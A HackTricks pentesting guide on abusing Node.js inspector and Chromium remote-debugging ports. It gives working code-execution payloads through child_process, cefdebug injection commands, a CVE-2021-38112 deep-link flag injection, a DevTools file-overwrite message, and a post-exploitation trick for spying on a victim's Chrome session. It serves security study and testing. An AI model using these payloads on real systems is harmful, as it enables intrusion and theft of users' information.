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199 lines
12 KiB
Markdown
199 lines
12 KiB
Markdown
# Node inspector/CEF debug abuse
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Basic Information
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When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**.
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Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
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{% hint style="warning" %}
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Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**).
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{% endhint %}
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There are several ways to start an inspector:
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```bash
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node --inspect app.js #Will run the inspector in port 9229
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node --inspect=4444 app.js #Will run the inspector in port 4444
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node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
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node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
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# --inspect-brk is equivalent to --inspect
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node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
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# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
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```
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When you start an inspected process something like this will appear:
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```
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Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
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For help, see: https://nodejs.org/en/docs/inspector
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```
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Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE.
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When you start a debugged browser something like this will appear:
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```
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DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
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```
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### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
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Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely.
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{% hint style="info" %}
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This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln).
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{% endhint %}
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### Starting inspector in running processes
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You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation.
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```bash
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kill -s SIGUSR1 <nodejs-ps>
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# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
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```
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{% hint style="info" %}
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This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process.
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{% endhint %}
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### Connect to inspector/debugger
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If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples).
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 (1).png>)
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Using the **command line** you can connect to a debugger/inspector with:
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```bash
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node inspect <ip>:<port>
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node inspect 127.0.0.1:9229
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# RCE example from debug console
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debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
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```
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The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them.
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```bash
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#List possible vulnerable sockets
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./cefdebug.exe
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#Check if possibly vulnerable
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./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
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#Exploit it
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./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
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```
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{% hint style="info" %}
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Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it).
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{% endhint %}
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## RCE in NodeJS Debugger/Inspector
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{% hint style="info" %}
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If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
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{% endhint %}
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Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**):
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```javascript
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process.mainModule.require('child_process').exec('calc')
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window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
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require('child_process').spawnSync('calc.exe')
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Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
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```
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## Chrome DevTools Protocol Payloads
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You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
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In this section I will just list interesting things I find people have used to exploit this protocol.
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### Parameter Injection via Deep Links
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In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI.
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It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things.
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So, a payload like:
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```
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workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
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```
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Will execute a calc.exe.
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### Overwrite Files
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Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**.
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```javascript
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ws = new WebSocket(url); //URL of the chrome devtools service
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ws.send(JSON.stringify({
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id: 42069,
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method: 'Browser.setDownloadBehavior',
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params: {
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behavior: 'allow',
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downloadPath: '/code/'
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}
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}));
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```
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### Webdriver RCE and exfiltration
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According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver.
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### Post-Exploitation
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In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**.
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The stealth way is to **terminate every Chrome process** and then call something like
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```bash
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Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
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```
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## References
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* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
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* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
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* [https://iwantmore.pizza/posts/cve-2019-1414.html](https://iwantmore.pizza/posts/cve-2019-1414.html)
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* [https://bugs.chromium.org/p/project-zero/issues/detail?id=773](https://bugs.chromium.org/p/project-zero/issues/detail?id=773)
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* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1742](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742)
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* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1944](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944)
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* [https://nodejs.org/en/docs/guides/debugging-getting-started/](https://nodejs.org/en/docs/guides/debugging-getting-started/)
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* [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)
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* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
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* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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